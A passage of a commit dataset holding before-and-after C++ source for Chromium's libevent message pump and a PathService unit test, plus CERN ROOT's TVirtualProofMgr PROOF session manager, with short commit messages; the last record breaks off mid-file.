mask and message pump for this event.\n event_set(evt.get(), fd, event_mask, OnLibeventNotification,\n delegate);\n\n \/\/ Tell libevent which message pump this socket will belong to when we add it.\n if (event_base_set(event_base_, evt.get()) != 0) {\n if (should_delete_event) {\n event_del(evt.get());\n }\n return false;\n }\n\n \/\/ Add this socket to the list of monitored sockets.\n if (event_add(evt.get(), NULL) != 0) {\n if (should_delete_event) {\n event_del(evt.get());\n }\n return false;\n }\n\n \/\/ Transfer ownership of e to controller.\n controller->Init(evt.release(), persistent);\n return true;\n}\n\n\nvoid MessagePumpLibevent::OnLibeventNotification(int fd, short flags,\n void* context) {\n Watcher* watcher = static_cast<Watcher*>(context);\n\n if (flags & EV_WRITE) {\n watcher->OnFileCanWriteWithoutBlocking(fd);\n }\n if (flags & EV_READ) {\n watcher->OnFileCanReadWithoutBlocking(fd);\n }\n}\n\n\/\/ Reentrant!\nvoid MessagePumpLibevent::Run(Delegate* delegate) {\n DCHECK(keep_running_) << \"Quit must have been called outside of Run!\";\n\n bool old_in_run = in_run_;\n in_run_ = true;\n\n for (;;) {\n ScopedNSAutoreleasePool autorelease_pool;\n\n bool did_work = delegate->DoWork();\n if (!keep_running_)\n break;\n\n did_work |= delegate->DoDelayedWork(&delayed_work_time_);\n if (!keep_running_)\n break;\n\n if (did_work)\n continue;\n\n did_work = delegate->DoIdleWork();\n if (!keep_running_)\n break;\n\n if (did_work)\n continue;\n\n \/\/ EVLOOP_ONCE tells libevent to only block once,\n \/\/ but to service all pending events when it wakes up.\n if (delayed_work_time_.is_null()) {\n event_base_loop(event_base_, EVLOOP_ONCE);\n } else {\n TimeDelta delay = delayed_work_time_ - Time::Now();\n if (delay > TimeDelta()) {\n struct timeval poll_tv;\n poll_tv.tv_sec = delay.InSeconds();\n poll_tv.tv_usec = delay.InMicroseconds() % Time::kMicrosecondsPerSecond;\n event_base_loopexit(event_base_, &poll_tv);\n event_base_loop(event_base_, EVLOOP_ONCE);\n } else {\n \/\/ It looks like delayed_work_time_ indicates a time in the past, so we\n \/\/ need to call DoDelayedWork now.\n delayed_work_time_ = Time();\n }\n }\n }\n\n keep_running_ = true;\n in_run_ = old_in_run;\n}\n\nvoid MessagePumpLibevent::Quit() {\n DCHECK(in_run_);\n \/\/ Tell both libevent and Run that they should break out of their loops.\n keep_running_ = false;\n ScheduleWork();\n}\n\nvoid MessagePumpLibevent::ScheduleWork() {\n \/\/ Tell libevent (in a threadsafe way) that it should break out of its loop.\n char buf = 0;\n int nwrite = write(wakeup_pipe_in_, &buf, 1);\n DCHECK(nwrite == 1);\n}\n\nvoid MessagePumpLibevent::ScheduleDelayedWork(const Time& delayed_work_time) {\n \/\/ We know that we can't be blocked on Wait right now since this method can\n \/\/ only be called on the same thread as Run, so we only need to update our\n \/\/ record of how long to sleep when we do sleep.\n delayed_work_time_ = delayed_work_time;\n}\n\n} \/\/ namespace base\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/path_service.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/file_util.h\"\n#include \"base\/file_path.h\"\n#if defined(OS_WIN)\n#include \"base\/win\/windows_version.h\"\n#endif\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest-spi.h\"\n#include \"testing\/platform_test.h\"\n\nnamespace {\n\n\/\/ Returns true if PathService::Get returns true and sets the path parameter\n\/\/ to non-empty for the given PathService::DirType enumeration value.\nbool ReturnsValidPath(int dir_type) {\n FilePath path;\n bool result = PathService::Get(dir_type, &path);\n return result && !path.value().empty() && file_util::PathExists(path);\n}\n\n#if defined(OS_WIN)\n\/\/ Function to test DIR_LOCAL_APP_DATA_LOW on Windows XP. Make sure it fails.\nbool ReturnsInvalidPath(int dir_type) {\n FilePath path;\n bool result = PathService::Get(base::DIR_LOCAL_APP_DATA_LOW, &path);\n return !result && path.empty();\n}\n#endif\n\n} \/\/ namespace\n\n\/\/ On the Mac this winds up using some autoreleased objects, so we need to\n\/\/ be a PlatformTest.\ntypedef PlatformTest PathServiceTest;\n\n\/\/ Test that all PathService::Get calls return a value and a true result\n\/\/ in the development environment. (This test was created because a few\n\/\/ later changes to Get broke the semantics of the function and yielded the\n\/\/ correct value while returning false.)\nTEST_F(PathServiceTest, Get) {\n for (int key = base::DIR_CURRENT; key < base::PATH_END; ++key) {\n EXPECT_PRED1(ReturnsValidPath, key);\n }\n#if defined(OS_WIN)\n for (int key = base::PATH_WIN_START + 1; key < base::PATH_WIN_END; ++key) {\n if (key == base::DIR_LOCAL_APP_DATA_LOW &&\n base::win::GetVersion() < base::win::VERSION_VISTA) {\n \/\/ DIR_LOCAL_APP_DATA_LOW is not supported prior Vista and is expected to\n \/\/ fail.\n EXPECT_TRUE(ReturnsInvalidPath(key)) << key;\n } else {\n EXPECT_TRUE(ReturnsValidPath(key)) << key;\n }\n }\n#elif defined(OS_MACOSX)\n for (int key = base::PATH_MAC_START + 1; key < base::PATH_MAC_END; ++key) {\n EXPECT_PRED1(ReturnsValidPath, key);\n }\n#endif\n}\n<commit_msg>If chromium has not been started yet, the cache path will not exist.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/path_service.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/file_util.h\"\n#include \"base\/file_path.h\"\n#if defined(OS_WIN)\n#include \"base\/win\/windows_version.h\"\n#endif\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest-spi.h\"\n#include \"testing\/platform_test.h\"\n\nnamespace {\n\n\/\/ Returns true if PathService::Get returns true and sets the path parameter\n\/\/ to non-empty for the given PathService::DirType enumeration value.\nbool ReturnsValidPath(int dir_type) {\n FilePath path;\n bool result = PathService::Get(dir_type, &path);\n#if defined(OS_POSIX)\n \/\/ If chromium has never been started on this account, the cache path will not\n \/\/ exist.\n if (dir_type == base::DIR_USER_CACHE)\n return result && !path.value().empty();\n#endif\n return result && !path.value().empty() && file_util::PathExists(path);\n}\n\n#if defined(OS_WIN)\n\/\/ Function to test DIR_LOCAL_APP_DATA_LOW on Windows XP. Make sure it fails.\nbool ReturnsInvalidPath(int dir_type) {\n FilePath path;\n bool result = PathService::Get(base::DIR_LOCAL_APP_DATA_LOW, &path);\n return !result && path.empty();\n}\n#endif\n\n} \/\/ namespace\n\n\/\/ On the Mac this winds up using some autoreleased objects, so we need to\n\/\/ be a PlatformTest.\ntypedef PlatformTest PathServiceTest;\n\n\/\/ Test that all PathService::Get calls return a value and a true result\n\/\/ in the development environment. (This test was created because a few\n\/\/ later changes to Get broke the semantics of the function and yielded the\n\/\/ correct value while returning false.)\nTEST_F(PathServiceTest, Get) {\n for (int key = base::DIR_CURRENT; key < base::PATH_END; ++key) {\n EXPECT_PRED1(ReturnsValidPath, key);\n }\n#if defined(OS_WIN)\n for (int key = base::PATH_WIN_START + 1; key < base::PATH_WIN_END; ++key) {\n if (key == base::DIR_LOCAL_APP_DATA_LOW &&\n base::win::GetVersion() < base::win::VERSION_VISTA) {\n \/\/ DIR_LOCAL_APP_DATA_LOW is not supported prior Vista and is expected to\n \/\/ fail.\n EXPECT_TRUE(ReturnsInvalidPath(key)) << key;\n } else {\n EXPECT_TRUE(ReturnsValidPath(key)) << key;\n }\n }\n#elif defined(OS_MACOSX)\n for (int key = base::PATH_MAC_START + 1; key < base::PATH_MAC_END; ++key) {\n EXPECT_PRED1(ReturnsValidPath, key);\n }\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/base:$Name: $:$Id: TVirtualProofMgr.cxx,v 1.7 2006\/06\/02 15:14:35 rdm Exp $\n\/\/ Author: G. Ganis, Nov 2005\n\n\/*************************************************************************\n * Copyright (C) 1995-2005, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TVirtualProofMgr \/\/\n\/\/ \/\/\n\/\/ Abstract interface to the manager for PROOF sessions. \/\/\n\/\/ The PROOF manager interacts with the PROOF server coordinator to \/\/\n\/\/ create or destroy a PROOF session, attach to or detach from \/\/\n\/\/ existing one, and to monitor any client activity on the cluster. \/\/\n\/\/ At most one manager instance per server is allowed. \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef HAVE_CONFIG\n#include \"config.h\"\n#endif\n#include \"TError.h\"\n#include \"TInetAddress.h\"\n#include \"TList.h\"\n#include \"TROOT.h\"\n#include \"TSystem.h\"\n#include \"TVirtualMutex.h\"\n#include \"TVirtualProof.h\"\n#include \"TVirtualProofMgr.h\"\n\nClassImp(TVirtualProofMgr)\n\n\n\/\/ Sub-list of TROOT::fProofs with managers\nTList TVirtualProofMgr::fgListOfManagers;\nTVirtualProofMgr_t TVirtualProofMgr::fgTProofMgrHook[2] = { 0, 0 };\n\n\/\/______________________________________________________________________________\nTVirtualProofMgr::TVirtualProofMgr(const char *url, Int_t, const char *)\n : TNamed(\"\",\"\"), fRemoteProtocol(-1),\n fServType(kXProofd), fSessions(0)\n{\n \/\/ Constructor\n\n \/\/ AVoid problems with empty URLs\n fUrl = (!url || strlen(url) <= 0) ? TUrl(\"proof:\/\/localhost\") : TUrl(url);\n}\n\n\/\/______________________________________________________________________________\nTVirtualProofMgr::~TVirtualProofMgr()\n{\n \/\/ Destroy a TVirtualProofMgr instance\n\n SafeDelete(fSessions);\n\n fgListOfManagers.Remove(this);\n gROOT->GetListOfProofs()->Remove(this);\n}\n\n\/\/______________________________________________________________________________\nvoid TVirtualProofMgr::ShowWorkers()\n{\n \/\/ Show available workers\n\n AbstractMethod(\"ShowWorkers\");\n}\n\n\/\/______________________________________________________________________________\nTVirtualProofDesc *TVirtualProofMgr::GetProofDesc(Int_t id)\n{\n \/\/ Get TVirtualProof instance corresponding to 'id'.\n\n if (id > 0) {\n TVirtualProofDesc *d = 0;\n \/\/ Retrieve an updated list\n QuerySessions(\"\");\n if (fSessions) {\n TIter nxd(fSessions);\n while ((d = (TVirtualProofDesc *)nxd())) {\n if (d->MatchId(id))\n return d;\n }\n }\n }\n\n return 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TVirtualProofMgr::ShutdownSession(TVirtualProof *p)\n{\n \/\/ Discard PROOF session 'p'\n\n if (p) {\n TVirtualProofDesc *d = 0;\n if (fSessions) {\n TIter nxd(fSessions);\n while ((d = (TVirtualProofDesc *)nxd())) {\n if (p == d->GetProof()) {\n fSessions->Remove(d);\n delete d;\n break;\n }\n }\n }\n }\n}\n\n\/\/______________________________________________________________________________\nTVirtualProof *TVirtualProofMgr::CreateSession(const char *cfg,\n const char *cfgdir, Int_t loglevel)\n{\n \/\/ Create a new remote session (master and associated workers).\n\n \/\/ Create\n if (IsProofd())\n fUrl.SetOptions(\"std\");\n\n TProof_t proofhook = TVirtualProof::GetTProofHook();\n if (!proofhook) {\n\n \/\/ Load the library containing TProof ...\n#ifdef ROOTLIBDIR\n TString prooflib = TString(ROOTLIBDIR) + \"\/libProof\";\n#else\n#ifndef WIN32\n TString prooflib = TString(gRootDir) + \"\/lib\/libProof\";\n#else\n TString prooflib = TString(gRootDir) + \"\/bin\/libProof\";\n#endif\n#endif\n char *p = 0;\n if ((p = gSystem->DynamicPathName(prooflib, kTRUE))) {\n delete[] p;\n if (gSystem->Load(prooflib) == -1)\n Error(\"CreateSession\", \"can't load %s\", prooflib.Data());\n proofhook = TVirtualProof::GetTProofHook();\n } else\n Error(\"CreateSession\", \"can't locate %s\", prooflib.Data());\n }\n if (!proofhook) {\n Error(\"CreateSession\", \"hook for TVirtualProof could not be loaded\");\n return 0;\n }\n \/\/ Create the instance\n TVirtualProof *p =\n (TVirtualProof*) (*proofhook)(fUrl.GetUrl(), cfg, cfgdir, loglevel, 0);\n\n if (p && p->IsValid()) {\n\n \/\/ Set reference manager\n p->SetManager(this);\n\n \/\/ Save record about this session\n Int_t ns = 1;\n if (fSessions) {\n \/\/ To avoid ambiguities in case of removal of some elements\n if (fSessions->Last())\n ns = ((TVirtualProofDesc *)(fSessions->Last()))->GetLocalId() + 1;\n } else {\n \/\/ Create the list\n fSessions = new TList;\n }\n\n \/\/ Create the description class\n Int_t st = (p->IsIdle()) ? TVirtualProofDesc::kIdle : TVirtualProofDesc::kRunning ;\n TVirtualProofDesc *d =\n new TVirtualProofDesc(p->GetName(), p->GetTitle(), p->GetUrl(),\n ns, p->GetSessionID(), st, p);\n fSessions->Add(d);\n\n } else {\n \/\/ Session creation failed\n Error(\"CreateSession\", \"creating PROOF session\");\n SafeDelete(p);\n }\n\n \/\/ We are done\n return p;\n}\n\n\/\/______________________________________________________________________________\nBool_t TVirtualProofMgr::MatchUrl(const char *url)\n{\n \/\/ Checks if 'url' refers to the same 'user@host:port' entity as the URL\n \/\/ in memory\n\n TUrl u(url);\n\n \/\/ Correct URL protocol\n if (!strcmp(u.GetProtocol(), TUrl(\"a\").GetProtocol()))\n u.SetProtocol(\"proof\");\n\n \/\/ Correct port\n if (u.GetPort() == TUrl(\"a\").GetPort()) {\n Int_t port = gSystem->GetServiceByName(\"rootd\");\n if (port < 0)\n port = 1094;\n u.SetPort(port);\n }\n\n \/\/ Now we can check\n if (!strcmp(u.GetHostFQDN(), fUrl.GetHostFQDN()))\n if (u.GetPort() == fUrl.GetPort())\n if (strlen(u.GetUser()) <= 0 || !strcmp(u.GetUser(),fUrl.GetUser()))\n return kTRUE;\n\n \/\/ Match failed\n return kFALSE;\n}\n\n\/\/________________________________________________________________________\nTList *TVirtualProofMgr::GetListOfManagers()\n{\n \/\/ Extract pointers to PROOF managers from TROOT::fProofs.\n\n \/\/ Update the list with new entries\n if (gROOT->GetListOfProofs()) {\n TIter nxp(gROOT->GetListOfProofs());\n TVirtualProofMgr *p = 0;\n while ((p = dynamic_cast<TVirtualProofMgr *> (nxp())))\n if (!fgListOfManagers.FindObject(p))\n fgListOfManagers.Add(p);\n }\n\n \/\/ Get rid of invalid entries and notify\n if (fgListOfManagers.GetSize() > 0) {\n TIter nxp(&fgListOfManagers);\n TObject *o = 0;\n Int_t nm = 0;\n while ((o = nxp())) {\n if (!(gROOT->GetListOfProofs()->FindObject(o))) {\n fgListOfManagers.Remove(o);\n } else {\n TVirtualProofMgr *p = (TVirtualProofMgr *)o;\n Printf(\"\/\/ #%d: \\\"%s\\\" (%s)\", ++nm, p->GetName(), p->GetTitle());\n }\n }\n } else {\n if (gDebug > 0)\n Printf(\"No managers found\");\n }\n\n \/\/ We are done\n return &fgListOfManagers;\n}\n\n\/\/______________________________________________________________________________\nTVirtualProofMgr *TVirtualProofMgr::Create(const char *url, Int_t loglevel,\n const char *alias, Bool_t xpd)\n{\n \/\/ Static method returning the appropriate TProofMgr object using\n \/\/ the plugin manager.\n TVirtualProofMgr *m= 0;\n\n \/\/ Make sure we do not have already a manager for this URL\n TList *lm = TVirtualProofMgr::GetListOfManagers();\n if (lm) {\n TIter nxm(lm);\n while ((m = (TVirtualProofMgr *)nxm()))\n if (m->MatchUrl(url))\n if (m->IsValid()) {\n return m;\n } else {\n fgListOfManagers.Remove(m);\n SafeDelete(m);\n break;\n }\n }\n\n m = 0;\n Bool_t trystd = kTRUE;\n\n \/\/ If required, we assume first that the remote server is based on XrdProofd\n if (xpd) {\n TVirtualProofMgr_t cm = TVirtualProofMgr::GetProofMgrHook(\"xpd\");\n if (cm) {\n m = (TVirtualProofMgr *) (*cm)(url, loglevel, alias);\n \/\/ Update trystd flag\n trystd = (m && !(m->IsValid()) && m->IsProofd()) ? kTRUE : kFALSE;\n }\n }\n\n \/\/ If the first attempt failed, we instantiate an old interface\n if (trystd) {\n SafeDelete(m);\n TVirtualProofMgr_t cm = TVirtualProofMgr::GetProofMgrHook(\"std\");\n if (cm)\n m = (TVirtualProofMgr *) (*cm)(url, loglevel, alias);\n }\n\n \/\/ Record the new manager, if any\n if (m) {\n fgListOfManagers.Add(m);\n if (m->IsValid() && !(m->IsProofd())) {\n R__LOCKGUARD2(gROOTMutex);\n gROOT->GetListOfProofs()->Add(m);\n gROOT->GetListOfSockets()->Add(m);\n }\n }\n\n \/\/ We are done\n return m;\n}\n\n\/\/________________________________________________________________________\nTVirtualProofMgr_t TVirtualProofMgr::GetProofMgrHook(const char *type)\n{\n \/\/ Get the specified constructor hook.\n \/\/ We do this without the plugin manager because it blocks the\n \/\/ CINT mutex breaking the parallel startup.\n\n static const char *libs[] = { \"\/libProof\", \"\/libProofx\" };\n\n \/\/ Find index (default: classic)\n Int_t idx = (type && !strncmp(type,\"xpd\",3)) ? 1 : 0;\n\n if (!fgTProofMgrHook[idx]) {\n \/\/ Load the appropriate library ...\n#ifdef ROOTLIBDIR\n TString prooflib = TString(ROOTLIBDIR);\n#else\n#ifndef WIN32\n TString prooflib = TString(gRootDir) + \"\/lib\";\n#else\n TString prooflib = TString(gRootDir) + \"\/bin\";\n#endif\n#endif\n prooflib += libs[idx];\n char *p = 0;\n if ((p = gSystem->DynamicPathName(prooflib, kTRUE))) {\n delete[] p;\n if (gSystem->Load(prooflib) == -1)\n ::Error(\"TVirtualProofMgr::GetProofMgrCtor\",\n \"can't load %s\", prooflib.Data());\n } else\n ::Error(\"TVirtualProofMgr::GetProofMgrCtor\",\n \"can't locate %s\", prooflib.Data());\n }\n\n \/\/ Done\n return fgTProofMgrHook[idx];\n}\n\n\/\/_____________________________________________________________________________\nvoid TVirtualProofMgr::SetTProofMgrHook(TVirtualProofMgr_t pmh, const char *t)\n{\n \/\/ Set hook to TProofMgr ctor\n\n \/\/ Find index (default: classic)\n Int_t idx = (t && !strncmp(t,\"xpd\",3)) ? 1 : 0;\n\n fgTProofMgrHook[idx] = pmh;\n}\n\nClassImp(TVirtualProofDesc)\n\n\/\/________________________________________________________________________\nvoid TVirtualProofDesc::Print(Option_t *) const\n{\n \/\/ Dump the content to the screen.\n const char *st[] = { \"unknown\", \"idle\", \"processsing\", \"shutting down\"};\n\n Printf(\"\/\/ # %d\", fLocalId);\n Printf(\"\/\/ alias: %s, url: \\\"%s\\\"\", GetTitle(), GetUrl());\n Printf(\"\/\/ tag: %s\", GetName());\n Printf(\"\/\/ status: %s, attached: %s (remote ID: %d)\",\n st[fStatus+1], (fProof ? \"YES\" : \"NO\"), fRemoteId);\n}\n<commit_msg>Fix coding convention violation<commit_after>\/\/ @(#)root\/base:$Name: $:$Id: TVirtualProofMgr.cxx,v 1.8 2006\/06\/21 16:18:26 rdm Exp $\n\/\/ Author: G. Ganis, Nov 2005\n\n\/*************************************************************************\n * Copyright (C) 1995-2005, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ TVirtualProofMgr \/\/\n\/\/ \/\/\n\/\/ Abstract interface to the manager for PROOF sessions. \/\/\n\/\/ The PROOF manager interacts with the PROOF server coordinator to \/\/\n\/\/ create or destroy a PROOF session, attach to or detach from \/\/\n\/\/ existing one, and to monitor any client activity on the cluster. \/\/\n\/\/ At most one manager instance per server is allowed. \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef HAVE_CONFIG\n#include \"config.h\"\n#endif\n#include \"TError.h\"\n#include \"TInetAddress.h\"\n#include \"TList.h\"\n#include \"TROOT.h\"\n#include \"TSystem.h\"\n#include \"TVirtualMutex.h\"\n#include \"TVirtualProof.h\"\n#include \"TVirtualProofMgr.h\"\n\nClassImp(TVirtualProofMgr)\n\n\n\/\/ Sub-list of TROOT::fProofs with managers\nTList TVirtualProofMgr::fgListOfManagers;\nTVirtualProofMgr_t TVirtualProofMgr::fgTProofMgrHook[2] = { 0, 0 };\n\n\/\/______________________________________________________________________________\nTVirtualProofMgr::TVirtualProofMgr(const char *url, Int_t, const char *)\n : TNamed(\"\",\"\"), fRemoteProtocol(-1),\n fServType(kXProofd), fSessions(0)\n{\n \/\/ Constructor\n\n \/\/ AVoid problems with empty URLs\n fUrl = (!url || strlen(url) <= 0) ? TUrl(\"proof:\/\/localhost\") : TUrl(url);\n}\n\n\/\/______________________________________________________________________________\nTVirtualProofMgr::~TVirtualProofMgr()\n{\n \/\/ Destroy a TVirtualProofMgr instance\n\n SafeDelete(fSessions);\n\n fgListOfManagers.Remove(this);\n gROOT->GetListOfProofs()->Remove(this);\n}\n\n\/\/______________________________________________________________________________\nvoid TVirtualProofMgr::ShowWorkers()\n{\n \/\/ Show available workers\n\n AbstractMethod(\"ShowWorkers\");\n}\n\n\/\/______________________________________________________________________________\nTVirtualProofDesc *TVirtualProofMgr::GetProofDesc(Int_t id)\n{\n \/\/ Get TVirtualProof instance corresponding to 'id'.\n\n if (id > 0) {\n TVirtualProofDesc *d = 0;\n \/\/ Retrieve an updated list\n QuerySessions(\"\");\n if (fSessions) {\n TIter nxd(fSessions);\n while ((d = (TVirtualProofDesc *)nxd())) {\n if (d->MatchId(id))\n return d;\n }\n }\n }\n\n return 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TVirtualProofMgr::ShutdownSession(TVirtualProof *p)\n{\n \/\/ Discard PROOF session 'p'\n\n if (p) {\n TVirtualProofDesc *d = 0;\n if (fSessions) {\n TIter nxd(fSessions);\n while ((d = (TVirtualProofDesc *)nxd())) {\n if (p == d->GetProof()) {\n fSessions->Remove(d);\n delete d;\n break;\n }\n }\n }\n }\n}\n\n\/\/______________________________________________________________________________\nTVirtualProof *TVirtualProofMgr::CreateSession(const char *cfg,\n const char *cfgdir, Int_t loglevel)\n{\n \/\/ Create a new remote session (master and associated workers).\n\n \/\/ Create\n if (IsProofd())\n fUrl.SetOptions(\"std\");\n\n TProof_t proofhook = TVirtualProof::GetTProofHook();\n if (!proofhook) {\n\n \/\/ Load the library containing TProof ...\n#ifdef ROOTLIBDIR\n TString prooflib = TString(ROOTLIBDIR) + \"\/libProof\";\n#else\n#ifndef WIN32\n TString prooflib = TString(gRootDir) + \"\/lib\/libProof\";\n#else\n TString prooflib = TString(gRootDir) + \"\/bin\/libProof\";\n#endif\n#endif\n char *p = 0;\n if ((p = gSystem->DynamicPathName(prooflib, kTRUE))) {\n delete[] p;\n if (gSystem->Load(prooflib) == -1)\n Error(\"CreateSession\", \"can't load %s\", prooflib.Data());\n proofhook = TVirtualProof::GetTProofHook();\n } else\n Error(\"CreateSession\", \"can't locate %s\", prooflib.Data());\n }\n if (!proofhook) {\n Error(\"CreateSession\", \"hook for TVirtualProof could not be loaded\");\n return 0;\n }\n \/\/ Create the instance\n TVirtualProof *p =\n (TVirtualProof*) (*proofhook)(fUrl.GetUrl(), cfg, cfgdir, loglevel, 0);\n\n if (p && p->IsValid()) {\n\n \/\/ Set reference manager\n p->SetManager(this);\n\n \/\/ Save record about this session\n Int_t ns = 1;\n if (fSessions) {\n \/\/ To avoid ambiguities in case of removal of some elements\n if (fSessions->Last())\n ns = ((TVirtualProofDesc *)(fSessions->Last()))->GetLocalId() + 1;\n } else {\n \/\/ Create the list\n fSessions = new TList;\n }\n\n \/\/ Create the description class\n Int_t st = (p->IsIdle()) ? TVirtualProofDesc::kIdle : TVirtualProofDesc::kRunning ;\n TVirtualProofDesc *d =\n new TVirtualProofDesc(p->GetName(), p->GetTitle(), p->GetUrl(),\n ns, p->GetSessionID(), st, p);\n fSessions->Add(d);\n\n } else {\n \/\/ Session creation failed\n Error(\"CreateSession\", \"creating PROOF session\");\n SafeDelete(p);\n }\n\n \/\/ We are done\n return p;\n}\n\n\/\/______________________________________________________________________________\nBool_t TVirtualProofMgr::MatchUrl(const char *url)\n{\n \/\/ Checks if 'url' refers to the same 'user@host:port' entity as the URL\n \/\/ in memory\n\n TUrl u(url);\n\n \/\/ Correct URL protocol\n if (!strcmp(u.GetProtocol(), TUrl(\"a\").GetProtocol()))\n u.SetProtocol(\"proof\");\n\n \/\/ Correct port\n if (u.GetPort() == TUrl(\"a\").GetPort()) {\n Int_t port = gSystem->GetServiceByName(\"rootd\");\n if (port < 0)\n port = 1094;\n u.SetPort(port);\n }\n\n \/\/ Now we can check\n if (!strcmp(u.GetHostFQDN(), fUrl.GetHostFQDN()))\n if (u.GetPort() == fUrl.GetPort())\n if (strlen(u.GetUser()) <= 0 || !strcmp(u.GetUser(),fUrl.GetUser()))\n return kTRUE;\n\n \/\/ Match failed\n return kFALSE;\n}\n\n\/\/________________________________________________________________________\nTList *TVirtualProofMgr::GetListOfManagers()\n{\n \/\/ Extract pointers to PROOF managers from TROOT::fProofs.\n\n \/\/ Update the list with new entries\n if (gROOT->GetListOfProofs()) {\n TIter nxp(gROOT->GetListOfProofs());\n TVirtualProofMgr *p = 0;\n while ((p = dynamic_cast<TVirtualProofMgr *> (nxp())))\n if (!fgListOfManagers.FindObject(p))\n fgListOfManagers.Add(p);\n }\n\n \/\/ Get rid of invalid entries and notify\n if (fgListOfManagers.GetSize() > 0) {\n TIter nxp(&fgListOfManagers);\n TObject *o = 0;\n Int_t nm = 0;\n while ((o = nxp())) {\n if (!(gROOT->GetListOfProofs()->FindObject(o))) {\n fgListOfManagers.Remove(o);\n } else {\n TVirtualProofMgr *p = (TVirtualProofMgr *)o;\n Printf(\"\/\/ #%d: \\\"%s\\\" (%s)\", ++nm, p->GetName(), p->GetTitle());\n }\n }\n } else {\n if (gDebug > 0)\n Printf(\"No managers found\");\n }\n\n \/\/ We are done\n return &fgListOfManagers;\n}\n\n\/\/______________________________________________________________________________\nTVirtualProofMgr *TVirtualProofMgr::Create(const char *url, Int_t loglevel,\n const char *alias, Bool_t xpd)\n{\n \/\/ Static method returning the appropriate TProofMgr object using\n \/\/ the plugin manager.\n TVirtualProofMgr *m= 0;\n\n \/\/ Make sure we do not have already a manager for this URL\n TList *lm = TVirtualProofMgr::GetListOfManagers();\n if (lm) {\n TIter nxm(lm);\n while ((m = (TVirtualProofMgr *)nxm()))\n if (m->MatchUrl(url))\n if (m->IsValid()) {\n return m;\n } else {\n fgListOfManagers.Remove(m);\n SafeDelete(m);\n break;\n }\n }\n\n m = 0;\n Bool_t trystd = kTRUE;\n\n \/\/ If required, we assume first that the remote server is based on XrdProofd\n if (xpd) {\n TVirtualProofMgr_t cm = TVirtualProofMgr::GetProofMgrHook(\"xpd\");\n if (cm) {\n m = (TVirtualProofMgr *) (*cm)(url, loglevel, alias);\n \/\/ Update trystd flag\n trystd = (m && !(m->IsValid()) && m->IsProofd()) ? kTRUE : kFALSE;\n }\n }\n\n \/\/ If the first attempt failed, we instantiate an old interface\n if (trystd) {\n SafeDelete(m);\n TVirtualProofMgr_t cm = TVirtualProofMgr::GetProofMgrHook(\"std\");\n if (cm)\n m = (TVirtualProofMgr *) (*cm)(url, loglevel, alias);\n }\n\n \/\/ Record the new manager, if any\n if (m) {\n fgListOfManagers.Add(m);\n if (m->IsValid() && !(m->IsProofd())) {\n R__LOCKGUARD2(gROOTMutex);\n gROOT->GetListOfProofs()->Add(m);\n gROOT->GetListOfSockets()->Add(m);\n }\n }\n\n \/\/ We are done\n return m;\n}\n\n\/\/________________________________________________________________________\nTVirtualProofMgr_t TVirtualProofMgr::GetProofMgrHook(const char *type)\n{\n \/\/ Get the specified constructor hook.\n \/\/ We do this without the plugin manager because it blocks the\n \/\/ CINT mutex breaking the parallel startup.\n\n static const char *libs[] = { \"\/libProof\", \"\/libProofx\" };\n\n \/\/ Find index (default: classic)\n Int_t idx = (type && !strncmp(type,\"xpd\",3)) ? 1 : 0;\n\n if (!fgTProofMgrHook[idx]) {\n \/\/ Load the appropriate library ...\n#ifdef ROOTLIBDIR\n TString prooflib = TString(ROOTLIBDIR);\n#else\n#ifndef WIN32\n TString prooflib = TString(gRootDir) + \"\/lib\";\n#else\n TString prooflib = TString(gRootDir) + \"\/bin\";\n#endif\n#endif\n prooflib += libs[idx];\n char *p = 0;\n if ((p = gSystem->DynamicPathName(prooflib, kTRUE))) {\n delete[] p;\n if (gSystem->Load(prooflib) == -1)\n ::Error(\"TVirtualProofMgr::GetProofMgrCtor\",\n \"can't load %s\", prooflib.Data());\n } else\n ::Error(\"TVirtualProofMgr::GetProofMgrCtor\",\n \"can't locate %s\", prooflib.Data());\n }\n\n \/\/ Done\n return fgTProofMgrHook[idx];\n}\n\n\/\/_____________________________________________________________________________\nvoid 